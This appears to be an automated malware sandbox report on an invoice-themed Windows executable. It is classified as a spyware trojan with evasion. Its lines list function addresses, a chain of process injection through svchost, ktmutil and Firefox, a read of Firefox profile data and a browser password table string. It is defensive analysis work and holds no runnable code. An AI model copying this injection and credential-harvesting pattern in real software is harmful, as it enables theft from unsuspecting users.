Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_00402BA0 4_2_00402BA0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_0040E46B 4_2_0040E46B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_0040E473 4_2_0040E473
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_0042EEA3 4_2_0042EEA3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4E3F0 4_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03B003E6 4_2_03B003E6
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AFA352 4_2_03AFA352
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC02C0 4_2_03AC02C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AE0274 4_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03B001AA 4_2_03B001AA
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AF81CC 4_2_03AF81CC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A30100 4_2_03A30100
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ADA118 4_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AC8158 4_2_03AC8158
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD2000 4_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3C7C0 4_2_03A3C7C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40770 4_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A64750 4_2_03A64750
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5C6E0 4_2_03A5C6E0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03B00591 4_2_03B00591
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40535 4_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AEE4F6 4_2_03AEE4F6
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AF2446 4_2_03AF2446
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AF6BD7 4_2_03AF6BD7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AFAB40 4_2_03AFAB40
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3EA80 4_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A429A0 4_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03B0A9A6 4_2_03B0A9A6
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A56962 4_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A268B8 4_2_03A268B8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A6E8F0 4_2_03A6E8F0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4A840 4_2_03A4A840
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A42840 4_2_03A42840
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ABEFA0 4_2_03ABEFA0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4CFE0 4_2_03A4CFE0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A32FC8 4_2_03A32FC8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A82F28 4_2_03A82F28
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A60F30 4_2_03A60F30
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB4F40 4_2_03AB4F40
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A52E90 4_2_03A52E90
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AFCE93 4_2_03AFCE93
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AFEEDB 4_2_03AFEEDB
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AFEE26 4_2_03AFEE26
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40E59 4_2_03A40E59
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A58DBF 4_2_03A58DBF
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A3ADE0 4_2_03A3ADE0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4AD00 4_2_03A4AD00
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AE0CB5 4_2_03AE0CB5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A30CF2 4_2_03A30CF2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A40C00 4_2_03A40C00
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A8739A 4_2_03A8739A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AF132D 4_2_03AF132D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2D34C 4_2_03A2D34C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A452A0 4_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AE12ED 4_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5B2C0 4_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A4B1B0 4_2_03A4B1B0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A7516C 4_2_03A7516C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A2F172 4_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03B0B16B 4_2_03B0B16B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AF70E9 4_2_03AF70E9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AFF0E0 4_2_03AFF0E0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AEF0CC 4_2_03AEF0CC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A470C0 4_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AFF7B0 4_2_03AFF7B0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AF16CC 4_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ADD5B0 4_2_03ADD5B0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AF7571 4_2_03AF7571
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AFF43F 4_2_03AFF43F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A31460 4_2_03A31460
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5FB80 4_2_03A5FB80
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB5BF0 4_2_03AB5BF0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A7DBF9 4_2_03A7DBF9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AFFB76 4_2_03AFFB76
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03ADDAAC 4_2_03ADDAAC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A85AA0 4_2_03A85AA0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AEDAC6 4_2_03AEDAC6
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB3A6C 4_2_03AB3A6C
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AFFA49 4_2_03AFFA49
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AF7A46 4_2_03AF7A46
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AD5910 4_2_03AD5910
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A49950 4_2_03A49950
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5B950 4_2_03A5B950
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A438E0 4_2_03A438E0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AAD800 4_2_03AAD800
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AFFFB1 4_2_03AFFFB1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A41F92 4_2_03A41F92
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AFFF09 4_2_03AFFF09
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A49EB0 4_2_03A49EB0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A5FDC0 4_2_03A5FDC0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AF7D73 4_2_03AF7D73
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A43D40 4_2_03A43D40
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AF1D5A 4_2_03AF1D5A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AFFCF2 4_2_03AFFCF2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03AB9C32 4_2_03AB9C32
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_04965043 8_2_04965043
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_04965092 8_2_04965092
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_0496701A 8_2_0496701A
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_04966DF1 8_2_04966DF1
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_04966DFA 8_2_04966DFA
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_04985ACA 8_2_04985ACA
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_0496D75A 8_2_0496D75A
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032CA352 11_2_032CA352
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032D03E6 11_2_032D03E6
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0321E3F0 11_2_0321E3F0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032B0274 11_2_032B0274
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032902C0 11_2_032902C0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03200100 11_2_03200100
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032AA118 11_2_032AA118
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03298158 11_2_03298158
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032D01AA 11_2_032D01AA
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032C41A2 11_2_032C41A2
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032C81CC 11_2_032C81CC
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032A2000 11_2_032A2000
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03210770 11_2_03210770
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03234750 11_2_03234750
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0320C7C0 11_2_0320C7C0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0322C6E0 11_2_0322C6E0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03210535 11_2_03210535
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032D0591 11_2_032D0591
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032B4420 11_2_032B4420
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032C2446 11_2_032C2446
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032BE4F6 11_2_032BE4F6
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032CAB40 11_2_032CAB40
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032C6BD7 11_2_032C6BD7
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0320EA80 11_2_0320EA80
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03226962 11_2_03226962
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032129A0 11_2_032129A0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032DA9A6 11_2_032DA9A6
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0321A840 11_2_0321A840
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03212840 11_2_03212840
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_031F68B8 11_2_031F68B8
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0323E8F0 11_2_0323E8F0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03252F28 11_2_03252F28
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03230F30 11_2_03230F30
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032B2F30 11_2_032B2F30
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03284F40 11_2_03284F40
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0328EFA0 11_2_0328EFA0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0321CFE0 11_2_0321CFE0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03202FC8 11_2_03202FC8
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032CEE26 11_2_032CEE26
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03210E59 11_2_03210E59
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03222E90 11_2_03222E90
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032CCE93 11_2_032CCE93
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032CEEDB 11_2_032CEEDB
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0321AD00 11_2_0321AD00
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032ACD1F 11_2_032ACD1F
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03228DBF 11_2_03228DBF
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0320ADE0 11_2_0320ADE0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03210C00 11_2_03210C00
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032B0CB5 11_2_032B0CB5
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03200CF2 11_2_03200CF2
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032C132D 11_2_032C132D
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_031FD34C 11_2_031FD34C
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0325739A 11_2_0325739A
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032152A0 11_2_032152A0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032B12ED 11_2_032B12ED
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0322B2C0 11_2_0322B2C0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032DB16B 11_2_032DB16B
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0324516C 11_2_0324516C
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_031FF172 11_2_031FF172
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0321B1B0 11_2_0321B1B0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032C70E9 11_2_032C70E9
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032CF0E0 11_2_032CF0E0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032170C0 11_2_032170C0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032BF0CC 11_2_032BF0CC
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032CF7B0 11_2_032CF7B0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03255630 11_2_03255630
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032C16CC 11_2_032C16CC
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032C7571 11_2_032C7571
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032AD5B0 11_2_032AD5B0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032D95C3 11_2_032D95C3
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032CF43F 11_2_032CF43F
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03201460 11_2_03201460
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032CFB76 11_2_032CFB76
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0322FB80 11_2_0322FB80
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03285BF0 11_2_03285BF0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0324DBF9 11_2_0324DBF9
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03283A6C 11_2_03283A6C
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032CFA49 11_2_032CFA49
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032C7A46 11_2_032C7A46
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03255AA0 11_2_03255AA0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032ADAAC 11_2_032ADAAC
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032B1AA3 11_2_032B1AA3
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032BDAC6 11_2_032BDAC6
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032A5910 11_2_032A5910
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03219950 11_2_03219950
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0322B950 11_2_0322B950
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0327D800 11_2_0327D800
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032138E0 11_2_032138E0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032CFF09 11_2_032CFF09
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032CFFB1 11_2_032CFFB1
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03211F92 11_2_03211F92
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03219EB0 11_2_03219EB0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032C7D73 11_2_032C7D73
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03213D40 11_2_03213D40
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032C1D5A 11_2_032C1D5A
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0322FDC0 11_2_0322FDC0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03289C32 11_2_03289C32
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032CFCF2 11_2_032CFCF2
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_02791FB0 11_2_02791FB0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0278CEF0 11_2_0278CEF0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0278CEE7 11_2_0278CEE7
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0278D110 11_2_0278D110
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0278B190 11_2_0278B190
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0278B188 11_2_0278B188
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_02795610 11_2_02795610
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_027ABBC0 11_2_027ABBC0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_02793850 11_2_02793850
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_02FCE344 11_2_02FCE344
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_02FCE463 11_2_02FCE463
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_02FCCA9B 11_2_02FCCA9B
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_02FCD8C8 11_2_02FCD8C8
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_02FCE805 11_2_02FCE805
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: String function: 0021F8A0 appears 35 times
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: String function: 00216AC0 appears 42 times
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: String function: 0020EC2F appears 68 times
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: String function: 0328F290 appears 105 times
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: String function: 031FB970 appears 280 times
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: String function: 03245130 appears 58 times
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: String function: 0327EA12 appears 86 times
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: String function: 03257E54 appears 111 times
Source: C:\Windows\SysWOW64\svchost.exe Code function: String function: 03AAEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe Code function: String function: 03A2B970 appears 275 times
Source: C:\Windows\SysWOW64\svchost.exe Code function: String function: 03A87E54 appears 100 times
Source: C:\Windows\SysWOW64\svchost.exe Code function: String function: 03ABF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe Code function: String function: 03A75130 appears 57 times
Sample file is different than original file name gathered from version info
Source: ORIGINAL INVOICE COAU7230734290.exe, 00000002.00000003.2165458850.00000000035D3000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs ORIGINAL INVOICE COAU7230734290.exe
Source: ORIGINAL INVOICE COAU7230734290.exe, 00000002.00000003.2164578123.000000000377D000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs ORIGINAL INVOICE COAU7230734290.exe
Uses 32bit PE files
Source: ORIGINAL INVOICE COAU7230734290.exe Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@9/3@6/3
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0023CE7A GetLastError,FormatMessageW, 2_2_0023CE7A
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0022AB84 AdjustTokenPrivileges,CloseHandle, 2_2_0022AB84
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0022B134 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError, 2_2_0022B134
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0023E1FD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode, 2_2_0023E1FD
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00236532 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,CloseHandle, 2_2_00236532
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0024C18C CoInitializeSecurity,_memset,_memset,CoCreateInstanceEx,CoTaskMemFree,CoSetProxyBlanket, 2_2_0024C18C
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_001F406B CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource, 2_2_001F406B
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe File created: C:\Users\user\AppData\Local\Temp\aut6F38.tmp Jump to behavior
Source: ORIGINAL INVOICE COAU7230734290.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Program Files\Mozilla Firefox\firefox.exe File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: ktmutil.exe, 0000000B.00000003.2690164539.0000000002DE3000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000003.2690164539.0000000002E04000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000002.3402567248.0000000002E33000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000002.3402567248.0000000002E0F000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000002.3402567248.0000000002E04000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: ORIGINAL INVOICE COAU7230734290.exe ReversingLabs: Detection: 68%
Source: unknown Process created: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe "C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe"
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe"
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Process created: C:\Windows\SysWOW64\srdelayed.exe "C:\Windows\SysWOW64\srdelayed.exe"
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Process created: C:\Windows\SysWOW64\ktmutil.exe "C:\Windows\SysWOW64\ktmutil.exe"
Source: C:\Windows\SysWOW64\ktmutil.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe" Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Process created: C:\Windows\SysWOW64\srdelayed.exe "C:\Windows\SysWOW64\srdelayed.exe" Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Process created: C:\Windows\SysWOW64\ktmutil.exe "C:\Windows\SysWOW64\ktmutil.exe" Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Section loaded: wininet.dll Jump to behavior
